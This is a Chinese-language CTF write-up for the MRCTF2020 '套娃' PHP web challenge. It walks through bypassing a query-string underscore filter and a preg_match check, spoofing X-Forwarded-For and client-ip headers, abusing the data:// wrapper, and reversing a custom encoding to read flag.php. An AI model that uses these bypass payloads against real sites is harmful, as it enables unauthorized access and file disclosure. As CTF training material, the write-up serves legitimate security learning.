[MRCTF2020]套娃.md

---

首页长这样

//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

第一个if利用php对传入查询字符串中特殊字符的处理来绕过

第二个if利用preg_match的性质，即在非多行模式下，$会忽略在句尾的%0a来绕过

/?b.u.p.t=23333%0a

how smart you are ~
FLAG is in secrettw.php

/secrettw.php

Flag is here~But how to get it?Local access only!
Sorry,you don't have permission! Your ip is :sorry,this way is banned!

源代码里面有一长串奇怪的东西

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没头绪，最后看wp知道是jsfuck

直接粘贴到console里面就能运行啦

那就post一个

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

getIp的绕过，通过设置X-Forwarded-For或client-ip来实现

X-Forwarded-For: 127.0.0.1
client-ip: 127.0.0.1

$_GET['2333']直接使用data伪协议绕过

/secrettw.php?2333=data://text/plain,todat is a happy day

要求change($_GET['file'])的结果是flag.php

change函数先对输入进行一次base64解码，然后将第i个位置的字符加上2 * i

import base64
raw_str = input().encode('utf-8')
new_str = ''
for i in range(len(raw_str)):
    new_str += chr(raw_str[i] - 2 * i)
print(base64.b64encode(new_str.encode('utf-8')))

> flag.php
b'ZmpdYSZmXGI='

&file=ZmpdYSZmXGI=

Your REQUEST is:flag.php
<?php
$flag = 'flag{6a8becb5-f928-4f50-8156-725725736088}';
echo "Flag is here~But how to get it?";
?>

#Web #PHP #bypass #HTTP #伪协议 #encoding #jsfuck #function #Header